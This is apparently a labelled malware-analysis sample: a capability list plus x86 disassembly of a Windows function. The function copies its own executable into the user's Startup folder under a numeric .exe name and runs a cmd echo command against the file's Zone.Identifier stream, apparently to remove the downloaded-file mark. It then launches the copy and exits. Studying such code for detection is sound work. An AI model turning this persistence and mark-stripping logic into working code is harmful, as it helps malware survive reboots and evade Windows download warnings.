Function at 0x404600
Capabilities:
Copy file
Create process on windows
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb74
push esi
push edi
mov eax, 0x6a3034
call fcn.00694150
mov word [ebp - 0x154], 0xc
lea edx, [ebp - 0x28]
push edx
call fcn.00403328
pop ecx
inc dword [ebp - 0x148]
mov word [ebp - 0x154], 0x18
mov word [ebp - 0x154], 0x24
lea ecx, [ebp - 0x50]
push ecx
call fcn.00403328
pop ecx
inc dword [ebp - 0x148]
mov word [ebp - 0x154], 0x18
mov word [ebp - 0x154], 0x30
lea eax, [ebp - 0x78]
push eax
call fcn.00403328
pop ecx
inc dword [ebp - 0x148]
mov word [ebp - 0x154], 0x18
mov word [ebp - 0x154], 0x3c
lea edx, [ebp - 0xa0]
push edx
call fcn.00403328
pop ecx
inc dword [ebp - 0x148]
mov word [ebp - 0x154], 0x18
lea ecx, [ebp - 0x168]
push ecx
push 7
push 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
mov dword [ebp - 0x16c], eax
lea eax, [ebp - 0x388]
push eax
push dword [ebp - 0x168]
call sub.SHELL32.DLL_SHGetPathFromIDListA
mov dword [ebp - 0x170], eax
lea edx, [ebp - 0x174]
push edx
call sub.SHELL32.DLL_SHGetMalloc
mov dword [ebp - 0x16c], eax
push dword [ebp - 0x168]
mov ecx, dword [ebp - 0x174]
push ecx
mov eax, dword [ecx]
call dword [eax + 0x14]
mov edx, dword [ebp - 0x174]
push edx
mov ecx, dword [edx]
call dword [ecx + 8]
push 0x104
lea eax, [ebp - 0x284]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov word [ebp - 0x154], 0x48
push str.842441939848479.exe
lea edx, [ebp - 0x388]
push edx
lea ecx, [ebp - 0xf0]
push ecx
call fcn.00403234
add esp, 8
push eax
inc dword [ebp - 0x148]
lea eax, [ebp - 0x118]
push eax
call fcn.004044dc
add esp, 0xc
lea edx, [ebp - 0x118]
push edx
inc dword [ebp - 0x148]
lea ecx, [ebp - 0x28]
push ecx
call fcn.004041a4
add esp, 8
dec dword [ebp - 0x148]
push 2
lea eax, [ebp - 0x118]
push eax
call fcn.00403290
add esp, 8
dec dword [ebp - 0x148]
push 2
lea edx, [ebp - 0xf0]
push edx
call fcn.00403290
add esp, 8
lea ecx, [ebp - 0x28]
push ecx
call fcn.004049ec
pop ecx
mov dword [ebp - 0x178], eax
mov word [ebp - 0x154], 0x18
mov esi, 0x6a2784
lea edi, [ebp - 0x48c]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x154], 0x60
lea eax, [ebp - 0xc8]
push eax
call fcn.00403328
pop ecx
inc dword [ebp - 0x148]
mov word [ebp - 0x154], 0x18
push 0x103
lea edx, [ebp - 0x48c]
push edx
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
lea ecx, [ebp - 0x48c]
push ecx
lea eax, [ebp - 0xc8]
push eax
call fcn.00403480
add esp, 8
mov word [ebp - 0x154], 0x6c
push 0xffffffffffffffff
push 0x6a2b23
lea edx, [ebp - 0xc8]
push edx
call fcn.004049fc
add esp, 0xc
push eax
push 0
lea ecx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0x140]
push eax
call fcn.00404a1c
add esp, 0x10
lea edx, [ebp - 0x140]
push edx
inc dword [ebp - 0x148]
lea ecx, [ebp - 0xc8]
push ecx
call fcn.004041a4
add esp, 8
dec dword [ebp - 0x148]
push 2
lea eax, [ebp - 0x140]
push eax
call fcn.00403290
add esp, 8
push dword [ebp - 0x178]
call fcn.00403374
pop ecx
test al, al
jne 0x4048b1
lea edx, [ebp - 0x388]
push edx
lea ecx, [ebp - 0xc8]
push ecx
call fcn.00404a60
add esp, 8
test al, al
je 0x40496f
push 1
call fcn.0069d38c
pop ecx
jmp 0x40496f
push 1
push dword [ebp - 0x178]
lea eax, [ebp - 0x284]
push eax
call sub.KERNEL32.DLL_CopyFileA
push str._C_echo__
lea edx, [ebp - 0xa0]
push edx
call fcn.00403480
add esp, 8
lea ecx, [ebp - 0x28]
push ecx
lea eax, [ebp - 0xa0]
push eax
call fcn.00403494
add esp, 8
push str.:Zone.Identifier_
lea edx, [ebp - 0xa0]
push edx
call fcn.00404a80
add esp, 8
lea ecx, [ebp - 0xa0]
push ecx
call fcn.004049ec
pop ecx
mov dword [ebp - 0x180], eax
mov word [ebp - 0x154], 0x18
push 0
push dword [ebp - 0x180]
push dword [ebp - 0x180]
push str.cmd.exe
push 0x6a2b41
push dword [ebp - 0x17c]
call sub.SHELL32.DLL_ShellExecuteA
push 0x1f4
call sub.KERNEL32.DLL_Sleep
push 0
push 0x6a2b54
push 0x6a2b53
push dword [ebp - 0x178]
push str.open
push 0
call sub.SHELL32.DLL_ShellExecuteA
push 1
call fcn.0069d38c
pop ecx
dec dword [ebp - 0x148]
push 2
lea eax, [ebp - 0xc8]
push eax
call fcn.00403290
add esp, 8
dec dword [ebp - 0x148]
push 2
lea edx, [ebp - 0xa0]
push edx
call fcn.00403290
add esp, 8
dec dword [ebp - 0x148]
push 2
lea ecx, [ebp - 0x78]
push ecx
call fcn.00403290
add esp, 8
dec dword [ebp - 0x148]
push 2
lea eax, [ebp - 0x50]
push eax
call fcn.00403290
add esp, 8
dec dword [ebp - 0x148]
push 2
lea edx, [ebp - 0x28]
push edx
call fcn.00403290
add esp, 8
mov ecx, dword [ebp - 0x164]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret